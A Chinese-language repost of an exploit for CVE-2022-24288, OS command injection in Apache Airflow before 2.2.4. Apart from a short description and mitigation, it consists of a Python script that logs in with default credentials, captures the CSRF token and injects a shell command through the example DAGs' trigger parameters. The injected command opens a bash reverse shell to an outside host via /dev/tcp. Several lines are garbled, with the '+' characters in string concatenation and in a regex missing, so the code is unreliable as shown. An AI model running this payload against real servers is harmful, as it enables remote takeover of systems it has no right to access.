CVE-2022-24288 Apache Airflow RCE POC/EXP

一、描述

在 Apache Airflow 2.2.4 之前的版本中，一些示例 DAG 没有正确清理用户提供的参数，使其容易受到来自 Web UI 的 OS 命令注入的影响。

二、缓解：

这可以通过确保[core] load_examples设置为来缓解False。

三、 EXP

(payload1 2是俩个不同利用点，选择用一个就行)

1.  
   import requests
2.  
   import re
3.  
   import random
4.  
    
5.  
   proxy = {
6.  
   "http": "http://127.0.0.1:8080",
7.  
   "https": "https://127.0.0.1:8080"
8.  
   }
9.  
    
10.  
    def dl(url, user, pwd):
11.  
    urls = url '/login/?next=' url '/home'
12.  
    rep = requests.get(url)
13.  
    session = rep.headers['Set-Cookie'].split()[0].replace(';', '')
14.  
    csrf = re.findall(r"var csrfToken = '(. ?)'", rep.text)[0]
15.  
    headers = {
16.  
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
17.  
    "Chrome/99.0.4844.84 Safari/537.36",
18.  
    "Cookie": session
19.  
    }
20.  
    data = {
21.  
    'csrf_token': csrf,
22.  
    'username': user,
23.  
    'password': pwd
24.  
    }
25.  
    reps = requests.post(urls, data=data, headers=headers)
26.  
    s1 = reps.headers['Set-Cookie'].split()[0].replace(';', '')
27.  
    c1 = re.findall(r"var csrfToken = '(. ?)'", reps.text)[0]
28.  
    return s1, c1
29.  
     
30.  
     
31.  
    def payload1(urll, sess, csrf, cmd):
32.  
    urls = urll '/trigger?dag_id=example_passing_params_via_test_command'
33.  
    code1 = random.randint(0, 60)
34.  
    dates = '2022-04-02 09:88:31 00:00'
35.  
    dates1 = dates.replace('88', str(code1))
36.  
     
37.  
    cmds = '{"foo":"\\";' cmd ';\\""}'
38.  
    headers = {
39.  
    "Content-Type": "application/x-www-form-urlencoded",
40.  
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36",
41.  
    "Accept": "text/html",
42.  
    "Cookie": sess,
43.  
    }
44.  
    print(dates1)
45.  
     
46.  
    data = {
47.  
    'csrf_token': csrf,
48.  
    'dag_id': 'example_passing_params_via_test_command',
49.  
    'origin': '/home',
50.  
    'execution_date': dates1,
51.  
    'conf': cmds,
52.  
    'unpause': 'on'
53.  
    }
54.  
     
55.  
    rep = requests.post(urls, data=data, headers=headers, proxies=proxy)
56.  
    print(rep.status_code)
57.  
     
58.  
     
59.  
    def payload2(urll, sess, csrf, cmd):
60.  
    urls = urll '/trigger?dag_id=tutorial'
61.  
    code1 = random.randint(0, 60)
62.  
    dates = '2022-04-02 09:88:31 00:00'
63.  
    dates1 = dates.replace('88', str(code1))
64.  
     
65.  
    cmds = '{"my_param":"\\";' cmd ';\\""}'
66.  
    headers = {
67.  
    "Content-Type": "application/x-www-form-urlencoded",
68.  
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36",
69.  
    "Accept": "text/html",
70.  
    "Cookie": sess,
71.  
    }
72.  
    print(dates1)
73.  
     
74.  
    data = {
75.  
    'csrf_token': csrf,
76.  
    'dag_id': 'tutorial',
77.  
    'origin': '/home',
78.  
    'execution_date': dates1,
79.  
    'conf': cmds,
80.  
    'unpause': 'on'
81.  
    }
82.  
     
83.  
    rep = requests.post(urls, data=data, headers=headers, proxies=proxy)
84.  
    print(rep.status_code)
85.  
     
86.  
     
87.  
    if __name__ == '__main__':
88.  
    user = 'airflow'
89.  
    pwd = 'airflow'
90.  
    url = input("url __>:")
91.  
    #url = 'http://192.168.153.131:8080'
92.  
    cmd = 'bash -i >& /dev/tcp/192.168.153.131/9999 0>&1'
93.  
    s1, c1 = dl(url, user, pwd)
94.  
    print(f'Command __>: {cmd}')
95.  
    #payload1(url, s1, c1, cmd)
96.  
    payload2(url, s1, c1, cmd)

这篇好文章是转载于：学新通技术网